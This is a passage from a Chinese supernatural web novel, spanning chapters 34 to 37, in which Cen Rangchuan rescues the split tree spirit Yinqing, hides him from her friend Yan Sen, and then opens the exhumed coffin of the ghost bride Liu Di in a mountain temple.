“你快沉死了!”岑让川咬牙,“后院我没去过,会不会鬼打墙?”
“你来之后银清把宅子内外都陆续清干净了,哪来的鬼。”鲛人挠脸,不期然地撕下好大一块皮,他惨叫一声,催促道,“快点!你快点!你再不把我放回水里我真要死了,我要是死了银清别想好过,他半条命在我身上!你也别想好过,现在宅子里只有我知道怎么治他,也只有我知道他把钱都放哪了……”
岑让川一听,立刻问:“他放哪了?”
“事到如今你还想跑?!”
“我就单纯问问……你说的活水在哪?”
鲛人给她边指路边道:“你要是实在不喜欢他,一盆热肥皂水浇死他不就好了。但你要想好,他要是死了,你也活不了多久。毕竟是你第一世利用他时曾经许下如有违背,下一世生死与共的承诺。”
岑让川脚步一顿,怎么跟银清说的不一样?
他不是说……是他对她的诅咒吗?
“你俩好的时候啊,那叫一个天雷勾地火。要不是……”鲛人见她停下,不解地问,“你怎么不走了?”
到底是承诺还是诅咒?
岑让川盯着鲛人。
她该不该问他?
问他,相当于问银清。
思绪百转千回。
雨水很快打湿二人。
望着岑让川水墨色下黑沉沉的目光,鲛人倏然意识到……
他撇开目光,转移话题:“你等会,帮帮他吧?银清虽然说要杀你,但你要是哄哄他,他不会对你怎么样的。你也不能指望在这破镇子上被关了上千年的人情绪稳定吧……他现在是疯了那么一点点,但是吧……看在钱的面子上?你忍忍?”
他絮絮叨叨说了许多,脸色越来越惨白。<
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p>岑让川知道鲛人不论如何都不肯说出真相。
可是……五百万,引诱自己来这个宅子,真正原因到底是什么?
她想起之前银清说的史书,如果要了解他,了解他出现的原因,了解他接近自己的目的,那么只有去主动触碰千年前,处于平行世界中另一段历史。
不在她世界里出现的一段……关于她前世的历史。
想到这,岑让川皱眉问:“银清说的史书在哪?千年前,有关我前世登基为帝……他不会在骗我吧?”
她虚晃一枪,故意去看鲛人的神情。
银发鲛人面色忽变,正当岑让川以为银清那王八蛋连这个都是在骗她时,他却忽然呕出一口蓝绿汁液,淋在二人胸口。
水腥气夹杂着草木发酵的味道弥漫。
岑让川脸色顿时黑透:“你……”
她正想问他怎么随地大小吐,不知道提前说一声吗云云,就见鲛人肤色逐渐透明,上半身绿色经脉能朦朦胧胧看见不说,下半鱼尾部分也能依稀看到不同于人类的骨骼形状。
岑让川呼吸一窒,想起不由自主想起银清上次分裂时的画面。
鲛人吓得去看自己的手和尾巴,立刻哭嚎出声,但因着被注入了毒液,哭得不如以前中气十足,甚至有上气不接下气的孱弱:"我要死了我要死了我要死了,你快点去把银清弄出来,不然珍珠和钱都没有了!"
“要怎么弄……?”这任务果然还是落到她头上了。
"不知道啊。"
二人大眼瞪小眼。
正巧已经走到后院最近处到不大的一个池塘旁。
此处池水没有清理,但因为通的是宅后的山林,山泉清澈见底,还有几尾小鱼甩着尾巴躲在岩石地下偷偷往上觑。
岑让川不怀好意地看鲛人:"你真不知道?"
"真……"只吐出一个字,失重感传来。
鲛人重重砸进水塘,溅起一大片水花,跟丢下一枚炸弹般,有几缕水草甚至越过岩石,溅到岑让川脚边。
手机再次再次震动。
岑让川总算能空出手去看究竟是谁如此契而不舍给自己打电话,刚刚抱着鲛人一路走来,震动就没断过。
一看显示屏,竟是严森?
他找自己能有什么事?
她抹了一把脸上的水,急匆匆抄上银清放置在池塘花园边的镰刀往前院沿廊处跑回去。
背景音除去雨声还有鲛人的叫骂声。
但这些放到现在都不重要。
严森声音发急:"让川,你表弟回去了吗?他把刘缔的坟挖了现在棺材放在破庙你赶紧问他要怎么办!我刚刚好像看到刘庆远和他身边那个狗腿子像是要上山看他女儿!到时候发现坟被挖了报警就不好了!"
岑让川一愣。
银清把……刘缔的坟挖了?!
刘庆远和朱矮子要在这种大雨天气……上山看望女儿?
他们不怕泥石流吗?
她又往前紧走几步,感受到一股凉气从月洞门外袭来。
岑让川打了个喷嚏,下意识抬头望去。
那原本悬挂在沿廊高粱上的黑藤蔓不知何时松垮地露出一个大洞。
银清浑身是窟窿,正往外冒出汩汩汁液,半边身体要掉不掉,被几根黑藤穿透琵琶骨半吊在空中,姿态诡异。
而在他脚下,还有一个和他一模一样的人卧躺在毒液中,湿淋长发紧贴在他光洁似玉身上,如蛇般蜿蜒曲折。
他分裂了。
岑让川还没从这变故中缓过来。
惊雷乍起。
在茧子后,红色衣角飘飞。
"岑让川?让川?你表弟在吗?"
"喂?"
回答严森的,唯有电流紊乱的声响。
34. vintage古着衣8
雨势陡然变大。
大雨滂沱。
雨水顺着枝叶将整片沿廊浸湿。
岑让川慢慢抬头。
目光顺着茧子后方红色裙角一点一点往上移。
繁复华丽的鸳鸯刺绣,蜿蜒曲折的花草图案,昂贵的面料。
衣袖中伸出的一双手,才几日未见,已经长出红斑。
食指佩戴的白冰翡翠戒指隐有裂纹,只要再用力磕碰一下,就会碎成一堆没有任何价值的碎石。
沿廊上方长满绿色银杏叶,把她整张脸遮去半张。
岑让川只能从茂盛的叶片中看到她贴满黄符的下颚,还有红盖头尖尖处飘荡的红穗。
喉内忽而变得干涩,唾液分泌,忍不住咽了又咽。
岑让川目光发直,像钉在红嫁衣一对鸳鸯上了般,脊背发凉,不知是雨水还是冷汗,沿着头发淌在背上,凉意渗入毛孔,五脏六腑都似放进冰窖。
忽然间。
一阵大风刮来,从藤蔓缝隙间猛烈灌入,夹杂着难以言喻的腐臭气味。
岑让川被这阵邪风吹得闭眼。
再睁眼时,红色嫁衣已经消失不见。
一片黄符慢悠悠从半空中落下,被毒液汁水沾湿。
四下安静,雨声依旧。
被葳蕤藤蔓围拢成一片的空间听不到半点活人声响。
岑让川腿软地靠在沿廊柱子旁,平复自己过于剧烈的心跳。
这里明明有四个人,她却只能听到自己的呼吸声。
刘缔为什么又出现?
难道是银清把人家坟掘了的原因?
她想着,目光移动,看了看高吊在半空中的绿藤人茧,上面泌出透明黏液,似要将整个茧包裹。
新来的黑衣银清……
不会是死了吧……
她下意识低头去看半吊在黑茧里真正的银清。
白色丧服被蓝绿色毒液染透,像穿着扎染织物。
他双目紧闭,浑身是大大小小的窟窿,沿着他清瘦身躯不断往下淌,淋淋漓漓,像在下着一场小雨。
在他身.下,不着片缕的银清一比一完美复刻。
连后腰上的一颗红痣都没落下。
他要是去当明星,岑让川或许可以考虑每天刺激他一下,然后按六七位数的价格贩卖他的分身。
何愁不能发家致富?
随着时间缓速流逝。
岑让川胡乱想着贩卖银清的事,总算从刚才那阵惊吓中缓过气。
刘缔想干什么她不知道。
这次又为什么不攻击她,她已经不想知道原因了。
现在最重要的是保住自己的金钱管家。
她走过去,用食指中节去探丧服银清鼻息。
平日里像个活人的他如今无声无息,真跟死去多时那般。
她顿了顿,握紧镰刀把,去割穿透他琵琶骨的黑藤。
银清已经把大部分痛感分裂出去,感受不到多疼,只感觉现在虚弱地连睁眼的力气都没有。
他任由岑让川动作,半点反抗的想法都生不出来。
脑子里空空一片,记忆时断时续。
银清甚至想不起来岑让川是谁,仅剩的三分意识便随着雨声堕入无边梦境。
黑藤割断,泌出大量毒汁。
在岑让川背后的绿藤人茧动了动。
"银清?"她喊了声。
倒在她肩膀上的人没有半点动静。
她伸手触摸他的脊背,汁液濡湿他的丧服,又湿又冷,滑腻粘稠,似是人血刚开始凝结的触感。
"银清虽然说要杀你,但你要是哄哄他,他不会对你怎么样的。"
"你也不能指望在这破镇子上被关了上千年的人情绪稳定吧……"
"看在钱的面子上?你忍忍?"
鲛人的话犹在耳边。
救都救了……
还在犹豫什么呢?
光是为了钱她都得救啊。
岑让川深呼吸一口气,用力把人从茧子里剥离出来。
皮肉撕扯声响起。
听着令人也不自觉感到疼痛如细细密密电流从脚底升起。
岑让川又有点腿软了。
她不自觉去看茧上残留的东西。
黑刺尖端长出圆溜溜的小倒刺,像长了个指甲盖大小的仙人球,还在不断往撕下的肉里注射毒液。
真是最毒男人心……
她头一次对鲛人所说新来的这个黑银清是由怨恨分化有了实质性概念。
何止怨恨啊……
简直怨毒……
扎进皮肉后还能生长出毒球倒刺弄死自己本体这是人能想出来的玩意吗?
她刚把银清弄出来,还没来得及给他拔出琵琶骨里残留的黑藤毒刺。
门外忽而响起喊声,伴随而来剧烈的拍门声。
“让川!”
“岑让川!”
“是我,严森!”
坏了!
他怎么来了!
岑让川慌张地左右张望,这破沿廊光堵住靠近大门外的月洞门,旁边小路是一点没遮住,更别提把大门封住!
“日!”她骂了句脏话,抱着银清急吼吼地不知该往哪藏。
怀里抱着一个。
地上一个没穿衣服的。
房梁上还吊着一个。
她只是一个喜欢撅男人的普通文静小女孩,没有字.母.圈特殊癖好啊!
“来了!来了!你等等!”岑让川生怕他闯进来,喊了好几声,抱起银清飞快往后院跑去,边跑边喊,“鲛人!鲛人!”
破宅子里唯一能求助的对象只有他了。
岑让川在岸边喊了好半天,鲛人跟融进池塘里一样,看不到一丁点存在的痕迹。
雨滴溅起无数涟漪,天光化作银箔,一圈接一圈往外荡开。
清澈见底的水面底下,小鱼苗长着嘴呼吸氧气。
“我X你大爷!”
关键时候怎么都这么不靠谱!
岑让川抓狂地想把银清也丢下去,但她不能这么干。
已知银清与鲛人排斥,他如果中途醒来疯疯癫癫要绞死鲛人,辛苦的不还是自己?!
听到门外拍门声愈发激烈,岑让川没了办法,放下银清让他背靠在池塘岩石旁,掐住他的下颚张开手掌。
“啪啪啪……”
光速连扇好几个耳光。
扇得银清脑袋歪到一边也没见他醒过来。
“……”岑让川服了,他不会真死了吧?
那她怎么办?
钱没拿到还要埋尸?
埋尸不当被人发现还要坐牢……
岑让川在脑子里过了一遍该怎么解释家里有三个死人,发现光是银清出现,她们怎么认识的就解释不清。
与此同时……
门外拍门声安静了。
两个原因。
要么严森走了。
要么严森翻墙进来了。
刚刚严森给自己打电话说什么来着?
他好像问银清回家了吗?
还告诉自己银清把刘缔坟挖了。<
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p>她离开张奶奶葬礼到处找银清的时候,严森也不见……
这两人不会是合伙挖的吧?!
严森身为一个研究生,应该不会同意跟银清狼狈为奸去干挖坟掘墓的事?
岑让川没敢继续往下猜,危机意识已经让她自动自觉抱起银清往主屋小楼银杏树旁跑去。
她竖起耳朵,祈祷严森没有进来。
也不知是不是错觉,她似乎听到了……重物落地的动静……
还有愈发清晰的脚步声。
“让川!”
焯!
淦!
他真的进来了!
前边还有两个,其中一个赤.身.裸/体没穿衣服!
岑让川脑瓜子嗡嗡的,急急忙忙把银清送到银杏树后,用灌木遮掩,然后飞快跑去前院。
大雨天翻墙头真的不容易。
瓦片青苔淋湿后直打滑。
严森试了好几次才翻进来。
岑让川新买的自行车就丢在门外,也不知怎的叫了这么多声就是没人。
严森知道私闯民宅不好,但现在情况紧急……
他拿着手机拨打她的电话,进入宅子后,一切声音都好像隔绝在外,只能听到绵绵不绝的雨声,静地吓人。
“嘟嘟嘟——”
对方又一次无人接听。
“让川……我x……”
刚绕过壁照,严森就发出了没礼貌的惊叹。
上次他来宅子时,这沿廊也没搞这么艺术啊?!
等等……
这个藤蔓有点奇怪?
这上面的叶子怎么这么像银杏叶?
严森往前一步,拿起一根和黑藤缠绕在一起的绿藤仔细查看。
不远处。
蓦地传来“扑通”一声,像把什么重物扔进水里。
严森清醒过来,指腹上却不小心被黑藤尖刺扎了下,小血点立刻争先恐后冒出。
他急忙扔开黑藤,喊了声:“让川?”
沿廊上。
一墙之隔。
两色藤蔓并未完全封住月洞门,还能看到罅隙间碎裂的景象。
岑让川隔着藤墙看到穿着蓝色雨衣的严森,趁着他被不正常的藤吸引,她二话不说把银清刚分化出的分身丢进沿廊下的池塘。
很幸运,她赌对了。
新生代银清沉底了。
会不会死掉她已经顾不到,家里来了严森。研究生看起来傻乎乎,但看到尸体也会毫不犹豫打110报警……
“我在我在。”听到他喊自己,岑让川忙回应。
“我刚刚叫了你好久,你怎么不回我?”
“我回你了啊。”岑让川说着,挥起镰刀把月洞门上的藤蔓清出一个能进出的洞口。她颇有些心虚,笑容僵硬地问:“找我有事吗?我刚刚手机摔了下,宅子里信号不好……”
说完,她掏出手机让他看。
信号两格。
难怪全是电流声。
“别管了,你快跟我走吧,晚了来不及。”严森逮到人明显松了一大口气,语气焦急,“你表弟也是跟你一样的风水师职业吧,他让我告诉你三件事,第一件就是把现在破庙里刘缔的棺材打开。呃……你要不要先去换件衣服?”
下雨气温凉。
岑让川人力运送银清和鲛人,浑身湿透,忍不住打了个喷嚏。
她正想说好,就见严森目光不自觉地从她脸上转移到她身后。
警铃大作。
严森盯着她身后的黑藤人茧,奇怪地问:“那是什么?”
35. vintage古着衣9
“那……那是……”岑让川汗流浃背,眼睛四处乱瞟指望能找到点提示。
她的目光落在最近处的藤蔓,紧张地大脑一片空白。
岑让川想,自己这辈子杀不了人。
就这心理素质,连严森这关都过不了。
银杏叶像把小扇子,只是中间有个小豁口。
她盯着盯着,想到什么,脱口而出:“这是装置艺术。你,你觉得怎么样?”
“……”
有点阴间。
严森当然不可能实话实说,违心地夸了几句,眼角余光瞥到绿藤茧子似是动了动。他没法把注意力集中到岑让川身上。
这个地方太奇怪了。
说是装置艺术……
但未免做得太过真实?
他不自觉被半空中的大茧吸引,不自觉越过岑让川,不自觉走向它……
岑让川在胡说八道些什么自己也不知道,担心银杏树后的银清会不会因救治不当被毒死,又担心刚刚被她“抛.尸”进池塘的裸银清会不会被淹死,更担心背后的黑衣银清……
她没想好要怎么蒙混过关,严森倾身上前,撞开了她,往茧子走去。
“喂,喂!”岑让川吓得忙去阻止他。
她忘记手上拿了把镰刀,刀背不小心敲在严森手肘,疼痛瞬间把他飘散的神智拉回。
“诶,我,我怎么过来了……诶——”严森蹦跳着退到干燥的地面,地上黏黏糊糊,沾满鞋底。
他鼻尖闻到熟悉的草木香,还有丝熟悉的植物腐烂气味。
悉悉索索似是蛇穿行过草木的轻响在这片安静的沿廊听得无比真切。
严森指着黑藤茧,眼中已经有了怀疑:"里面好像有声音。"
岑让川站在另一侧,清晰地看到靠墙那处的藤茧隐隐有松动的迹象。
无数黏液从中淌出,沿着墙流入地面。
两根手指从缝隙里蹦出,苍白到有些透明。
岑让川干脆闭上眼,破罐子破摔:"有些东西我不能告诉你。你到底找我什么事?"
严森要是非要跟个好奇宝宝一样追究下去。
三个不知道来路,没了呼吸的男人,她死刑没跑。
"噢,对。"严森不知道想到什么,脸色有点变了,畏惧地看眼只比自己矮半个头的岑让川,"你,你表弟让你去开棺。"
"……"她是什么很贱的人吗?
非得去干这种罪上加罪的事?
大雨天,张奶奶葬礼上银清严森一块消失。
银清自己分身来勾.引她,他们长得一模一样,做了这么多次也不差这一次,还没脱呢只是亲个嘴就被银清抓.奸。
他们明明是一个人,她亲了摸了黑衣银清不还是他自己吗!
银清却说要宰了她,完事跟自己分身自相残杀。
现在他不知是死是活,自己却要去做他没做完的事?!
这合理吗!
岑让川深呼吸一口气,默念:"为了钱为了钱为了钱……"
她换个地方打工而已,没事哒~
她吐字不清,严森眼里的畏惧感更浓了几分。
从张奶奶葬礼下到现在,雨势丝毫未减弱,反而有越下越大的趋势。
已是下午四点,天色昏暗。
严森焦急地等在门外。
岑让川说五分钟就出来。
他看了看表,因为心急,时间流速似是变慢许多。
才过去一分钟……
宅子里。
岑让川借口说要换衣服,把严森没礼貌地赶出门了。
她的确换了衣服,穿了雨衣。
还拿了银清买的除草剂。
岑让川生怕出门一趟回来,黑衣银清已经把他本体和鲛人弄死,直接把一瓶除草剂从头淋到绿藤茧上。
里面的人似是感觉到威胁,扭曲挣扎着动起来。
浓郁的臭味弥漫,完全盖住植物气味。
一瓶倒完,茧子彻底不动了。
连那点轻响也安静下来。
岑让川放下瓶子,急匆匆出了门。
大门关上。
雨声依旧。
黏液随着除草剂渗入茧子中,终于突破最后一层防线,侵染上四肢百骸。
如蚁群噬咬的剧烈疼痛自脊背处爬来,迅速侵入。
不多时,宅子里便传出疼痛难耐的低声呻.吟。
青石板两侧雨水往低处流动。
自行车轮滚过,覆盖一层水色的路面被破开,留下长长如流星拖尾般的细长痕迹,很快消失不见。
雨天路上行人很少,半点车声都听不到。
不少人家都在店里喝茶聊天,临街铺子相互串门。
加上今天是张奶奶葬礼,镇子上至少一大半人都去了灵堂。
严森带着她绕过手机店那条古旧老街,转角处恰好撞上忙完回家的秦叔,他正带着他女儿买完冰淇淋。
小女孩被父亲抱着,头顶上空遮着大半的伞,生怕她被淋到雨。
用彩带扎得漂漂亮亮的双马尾辫子垂放在前面,一双眼睛跟洗过的葡萄似的水灵。
秦叔看到他们,忙喊了声:"严森,让川,下这么大雨你们去哪?"
两个小孩去的方向明显是要上山,他担心地又喊:"这个时候别上山!有泥石流!喂,你们听到没!"
"知道——"岑让川坐在严森背后,因为速度太快,音调被拉长。
秦叔不放心,把自己女儿交给附近卖特产的老板娘,自己拿着伞急急忙忙追上去。
严森是他从小看着长大。
岑让川是新来的居民,虽然不怎么接触但心肠不错。
这两个人神情都不大对,秦叔生怕他们这个时候上山,万一遇上泥石流,神仙难救。
他往前跑了四五米,严森岑让川的背影已经消失在下一个拐角。
正在这时。
一道巨大的黑影从巷子里窜出。
"嗤啦——"
"砰——"
小女孩拉住老板娘,指向街道尽头:"姨姨,爸爸,飞飞。"
"我的小祖宗,你爸被撞了!阿叔!阿爷!孩子他爸!快过来啊!老秦被撞了!"
不用特产老板娘提醒,周围听到动静的早已经撑伞过去看情况。
叫警察和叫救护车的聚在屋檐下报地址。
年轻力壮些的把黑车团团围住,各式各样的雨伞聚在一处像聚起一大团五彩斑斓的花。
"又是你!"
人声嘈杂中不知道谁喊了声。
雨刷恰好摆动,站在汽车前头的都看清驾驶位的人。
□□脸,厚嘴唇,满脸横肉。
这不就是刘庆远吗?!
副驾驶位上还有他的跟班,朱矮子。
听到动静赶来的花裙子大娘气不打一出来,开嗓骂道:"你给老娘下来!上午差点把我们四个撞死还不够,你现在还把小秦撞成这样!癞.□□脸上顶双眼,看
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到脚踩下来人家还会蹦哒两下,你倒好,长一双眼睛干嘛使的,当装饰用告诉别人你不是瞎子啊!"
说到情绪激动处,大娘抄起屋檐墙根下的砖头,直接砸在车窗上。
白色蛛网登时爬满玻璃。
密密麻麻到看不清里面情形。
刘庆远阴沉着脸道:"你去山上看看。晚上记得把我爸从灵堂接走,我留下来解决问题。"
上午差点撞到人可以说是运气不好。
下午又撞到人,说明他的运势的确下降了,急需找到借运的人。
"还是和以前一样,你四我六。"朱矮子目视前方,开出条件。
"你!"胃口也太大了!
朱矮子当然知道刘庆远不愿意,冷哼道:"行不行,不行我走了。这穷乡僻壤我可不愿意再来一次。你女儿的运气已经借完,她的尸体,你自己去处理吧。"
说完,他皱皱巴巴的手搭上车门开门。
刘庆远只能同意:"钱一分少不了你!"
他原本不想下车,外面雨又大又密,谁知道村子里的娘们这么彪悍,一砖拍碎车窗直接把他拖了出去。
伞檐淋下的雨水兜头浇下,刘庆远被村民们狼狈推倒。
额头重重撞到满是水的青石板路上。
霎那间,他看到了车头躺着的人。
红盖头被风卷起半边,露出贴满黄符的脸。
她死死盯着他,落下的雨水洇湿红布,似大片血迹蔓延。
刘庆远心脏骤停,猛地从地上弹起来,肥硕屁股蹭在地上不断往后挪动,直到碰到群众温热的腿。
他双眼眨也不敢眨,死死盯着车底,生怕刚刚看到的人从车底爬出,撕咬他的血肉。
周围人指责声大到整条街都能听到。
直到警车和救护车道来才被压下。
朱矮子身量矮小,趁众人不注意便跑得无影无踪。
可这场车祸终究是耽搁了一段时间。
山路上,来不及被泥水掩盖的脚印蜿蜒而上,断断续续被带泥雨水灌出大小不一的坑洞,两行脚印,或并行或前后,稍小的那个是三十七码的长度。
岑让川……
雨衣帽下,朱矮子目光一眯。
当初招岑让川他可是寄予厚望,这人的八字诡谲多变。于是在岑让川工作期间,他处处搜集关于她的信息,包括三围鞋码。
她再次出现在这座山上,给他一种不好的预感。
朱矮子想着,拄着木棍努力往上爬。
从远处看,宛如一头犰狳在黄泥潭里逆水前行。
红顶小庙内。
一口血棺还带着湿润的泥土放在堂中。
光线昏暗。
雷光乍亮。
棺材上似反射出手掌印。
红嫁衣立于棺椁上,只一瞬,消失不见。
岑让川咽了咽口水,和严森面面相觑。
“你,你确定……银清让我开棺吗?”
严森也咽了咽口水,紧张地拿出手机结巴道:“嗯,嗯……他说,你做完这三件事,才,才能平安无事。第一件,就就是开棺。”
岑让川没做过这种事,被刘缔接二连三吓着,不由也结巴起来:“那,那第二件呢?”
“他说……等你做完第一件,才,才能说。”
王八蛋银清。
这天雷怎么不劈死你!
岑让川不由在心里骂道。
她这辈子最讨厌谜语猜猜猜了!
36. vintage古着衣10^^……
“就、就这么开吗?”
严森似乎难以接受岑让川撸起袖子就干,上下左右打量好几眼,企图提醒她是不是有什么东西忘记了。
忘记了什么?
岑让川懵住,她实在受不了要猜来猜去,干脆问:“银清还交代过什么吗?开棺也有讲究?”
“……你不是风水师吗?不,不该在东南角点个蜡烛之类的?”
“大哥你那是盗墓!棺都被你们弄出来了,点个毛线蜡烛!”
“噢、噢噢……”严森还不死心,“真没有什么仪式?”
岑让川总算明白在老宅时候严森那会看到黑藤茧的眼神究竟是怎么回事。感情不是他信了装置艺术这回事,而是她对外宣传的身份给她罩上了一层神秘面纱……
臭小子指不定在脑子里怎么脑补关于她炼制邪物的10086种方式。
果然,严森见她不回答,神神秘秘凑过来说:“我之前……是不是打扰你,做小人了?我不是故意的,你表弟突然找我,要我帮忙。我问他要做什么他也不说,不知道怎么七拐八绕就把我弄到了山上,等我反应过来的时候锄头都在手里了……”
“……”
岑让川:唯一不是人的家伙倒让你给碰上了。
她抄起撬棍,也不说话,绕着棺材走一圈,发现有条缝隙后把撬棍尖锐的那端用力.插.进去。
“诶,诶,你真就这么开棺啊?”严森还想再说几句,谁料她直接动手。
“少废话,干活!你一个研究生怎么还这么迷信?新时代要相信科学!我靠!严森你把我叫过来你倒是也帮我下啊!”
她没想到棺材盖这么沉,撬棍都快折了,棺材还一动不动。
严森反应过来,赶忙在岑让川对角线的位置打算动手。
岑让川怒了:"哥们,您能不能动动脑子!撬我这边有棺钉的地方啊!"
愣头愣脑的严森忙按照她的指示过来帮忙。
他手上有伤,被黑藤尖刺扎到的地方总是不太舒服。
用力撬了两下,伤口溢出鲜血。
他没有发现,岑让川也没有发现。
略带艳色的血液沿着撬棍一路往棺材中淌去,沿着棺壁淌入棺中,濡湿黄符。
一根黑藤借着血水在棺中悄然长出。
无人发觉。
两人努力了半晌,也没撬动棺盖一分一毫。
岑让川满头大汗,气不打一出来,用力拍了下棺盖:"这死玩意怎么这么沉!"
严森也累得不行,把手按在棺上倚靠着喘气:"这棺是不是……封死的?太难撬了。"
她看了眼有她一个半人长的棺木,不由好奇问:"你和银清怎么把它弄过来的?"
话一说出口,她知道要坏菜。
银清不是人,当然用的不是人的办法。
至于为什么要叫严森她也没想明白。
男人心,海底针。
回想起两人从相遇到现在的时间段里,感觉自己都像是一步步踏进陷阱里,走过的路做过的事都带着他若有似无的算计。
他容许自己在小事上有自主权,却不许她脱离主线,包括现在。
银清的目的到底是什么?
岑让川还在走神,身边突兀地传来一声惊恐的喊叫。
她被吓了一跳,脱口而出:"鬼叫什……"
话还没说完,就顿住了。
严森的手被从棺内长出的黑藤牢牢锁住,奇怪的是没有毒刺,只长出了黑色银杏叶和银杏果。
他连连后退,才退出两步就被困在原地。
黑藤绷直,如铁链般缠绕在他手腕上,蛇形而上,不多时便爬满他整只胳膊。
严森吓坏了,他从没见过这种怪模怪样的植物。
在宅子里时看到它那刻,他已经在脑子里搜索毕生所学到底哪种藤蔓植物能对上号。
可是……
没有……
人对于超出认知以外的东西向来存在恐惧心理。
严森不顾面子,崩溃大喊:"让川!救我!救我!"
岑让川反应过来后四处搜寻可以用的办法,她跑到庙里桌案下喊道:"别吵!我在想办法!"
她换衣服时把快递刀落在旧衣服里了,要不然此时此刻也不用这么狼狈地去找类似刀的利器。
严森快哭了:"这玩意不是你弄出来的吗!我就知道风水师都邪门,你快点帮我啊……妈妈我再也不干违法的事了。我要是死在这,镇子上的人会怎么说我啊……偷尸开馆,盗窃侮辱尸体罪跑不了了……我家三代考公,清白人家的名声就要葬送在我这……诶,诶,你摸我干什么!"
岑让川听到前半句就知道这黑锅自己铁定要背下了。
狗登西银清。
也不知道那狗男人死没死,要是没死她不介意往树下浇热水。
听到后半句,岑让川自动自觉屏蔽他的话痨属性,在他身上摸来摸去想找个打火机。
当她摸到他屁股后边裤子口袋,严森脸一下就跟红柿子似的:"我,你……你,你要是看上我了,咱们是不是得走流程,有点快了还是在这个地方……"
岑让川气得曲起膝盖怼着他尾椎骨来了一下,吼道:"打火机在哪!"
"……"不是对他有意思啊?
严森尴尬地说:"那个……我不抽烟……"
见岑让川脸色陡然黑透,严森慌了,试探着问:"那我回去学一学?"
他呆在小镇上太久,还以为这是岑让川这种城里人的必备技能。
关键时刻来一根冷静冷静?
岑让川:男人这种生物真心靠不住。
正当她转身要去桌案下找找有没有打火石之类的东西,严森再次说话:"但我身上有火柴,你要吗?"
火柴棍被点燃。
一簇小火苗从棍子上移到仅剩半截蜡烛的灯芯上。
岑让川用脚勾了个架子过来,把蜡烛定在上面后放在黑藤下方,等火苗把黑藤烧断。
严森捂着被揍疼的腰,委屈看她。
想说点什么,又急忙闭嘴,生怕她又给自己一下。
岑让川也拿不准拿火烧这方法管不管用,两人身上都没带点刀什么的,只能试试用火。
她背对着严森,没看到他欲言又止的神情。
等了会,严森终于忍不住说:"你做的这个藤……它好像导热诶?"
导热?
岑让川眼皮一跳,用食指去碰黑藤。
才一下,立刻被烫得收回手。
被她触碰的刹那,黑藤猛烈扭曲起来,像棺中有人挥动藤根。
严森被拽得径直往前扑去,撞翻架子,蜡烛咕噜噜滚到地上,霎时点燃庙内烂布条。他惊恐地用脚踩在棺边定住,吓得胡言乱语。
电光火石间。
岑让川眼角余光瞥见角落堆放杂
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物中有个破碗。
她忙跑过去拿来。
"救我!"
"砰!"
严森的求救声与瓷碗碎裂声同时响起。
岑让川靠着瓷器锋利的边缘使出吃奶的力气割断绳索。
棺椁中。
热气蒸腾。
散发出一股浓烈的腐臭。
棺盖背面最后一张黄符靠着热气融化米浆,飘然落在内层棺盖上。
严森正庆幸自己手保住了,不用去领残疾证。
下一秒。
黑藤漫出,如捅穿蛇窝那般从棺内涌出。
"啊啊啊啊!让川!"严森惊吓之下竟然连面子都不顾,直接蹦到岑让川身上。
抱惯银清跟一截木头桩子那般的重量,猛地让她抱一个成年男人,冲击力下岑让川没站稳,被他压得直往后退。
直到她背后撞上一根红柱,才堪堪止住后退的脚步。
此时庙内火势蔓延,升起的火星飘起,舔舐上小庙中的幢幡。
浓烟滚滚,往庙外飘起。
黑藤向四周爬去,在即将爬到岑让川脚下时又倏然止住。
藤根似收到了什么指令,分出一条小路。
雷光照入小庙内。
岑让川清晰地看到棺边熟悉的红嫁衣。
她定定立在那,一动不动,像是在等着岑让川过去。
严森死死抱着岑让川,他从小到大根正苗红,就没经历过这种事。
见黑藤停下,他惊魂未定睁眼去看抱着自己的人,不期然地看到她黑色眼瞳里映出一个红色身影。
呼吸一窒。
严森哆哆嗦嗦循着她的目光看去。
棺椁旁什么都没有就算了。
刚刚他们撬了老半天丝毫不动的第一层棺材板,在二人注视下,由黑藤绑住,徐徐拉起,如同一块门板,挡住庙门。
外边倾泻入内天光被遮住大半。
已近夜晚,雨势未停。
庙内唯一光源只有未燃尽的幡旗。
当一层棺盖被掀起,浓郁的尸臭如猛烈的巴掌,扇得二人不由闭气。
岑让川没忍住,丢下严森,背过身去干呕出声。
严森却跟闻不到那般,颤抖着去拽岑让川的雨衣外套。
"呕哕——"岑让川扶着墙,却吐不出半点东西。
她知道严森在拽自己,一巴掌甩过去,打掉他的手。
好不容易等她呕完转回来,立刻便对上严森的恐惧的双眼。
"你、你表弟说的第二件事……"严森抬手,浑身颤抖着指向血棺。
岑让川有了不好的预感。
她耳边似是听到银清的声音:"第二件事,撕掉棺内全部黄符,不留一张。包括尸身上的。"
仿佛是为了印证银清留下的话。
留在第二层棺材盖上的黄符被不知哪来的寒风卷起。
风里犹自裹着雨丝,冰冷刺骨。
夏末的雨……有这么凉吗?
岑让川还未想明白,封着尸身的棺盖徐徐立起。
与此同时,外边似是传来了陌生的、细碎的脚步声。
来人刻意放轻脚步,本想探探情况,却不知他那鬼鬼祟祟的动作在半封闭的小庙内如此清晰地回响着。
"让川……动作务必要快。"
耳边,银清隐隐约约的嗓音透着股平日里的懒散,却宛若千斤巨石压下。
37. vintage古着衣11
要快。
让川,要快。
快到什么程度?
岑让川不知道。
她望向窗户方向,破破烂烂木窗上糊住的纸张早已破裂成片。
透过缝隙,她清晰地看到一个异常矮小的身形在外面鬼鬼祟祟朝里张望,像一只肥硕的黑耗子。
庙内虽然有火燃烧,但浓烟是往上的。小庙虽小,顶高却有两层楼那么高,几乎影响不到她们。
光线昏暗,有火源的地方在另一侧。
从外往内看,加上有雨,且山雾阻隔,根本看不清暗处到底有没有人。
朱矮子先是在山脚下寻找刘缔的墓地,没料到那个地方仅留下一个方方正正的大洞,里面棺椁却不翼而飞。
他还以为云来镇也有偷尸体配冥婚的,急吼吼地用惯常用的办法寻找刘缔尸身,没想到罗盘指引的方向竟在小庙中。
小庙……
刘缔刚死下葬时就是经过了这……
她是埋在山脚下,但按照古书记载,镇压尸怨需环山一圈方可下葬。
当时……
他就是在这座小庙,觉察到异样。
空气中有似有的熟悉木质调气味。
那时……
他经过灵堂去扶老爷子,路过岑让川身边闻到一模一样的气味。
现在……
他深呼吸一口气,嗅到空气中夹杂在土腥气里残留的味道。
还是她……
她究竟有什么目的?!
刘家跟她关系并不好,刘缔生前抢过她的设计图参赛不说,经常因为妒忌她的才华没少给她使绊子。
难道是因为太过憎恨刘缔?
这样的话……
朱矮子望向几乎被木板封起来的庙门,决定先看看情况。
要是岑让川能替他解决掉这个大麻烦,他就不用出手了。
可是……
她会不会认出来?
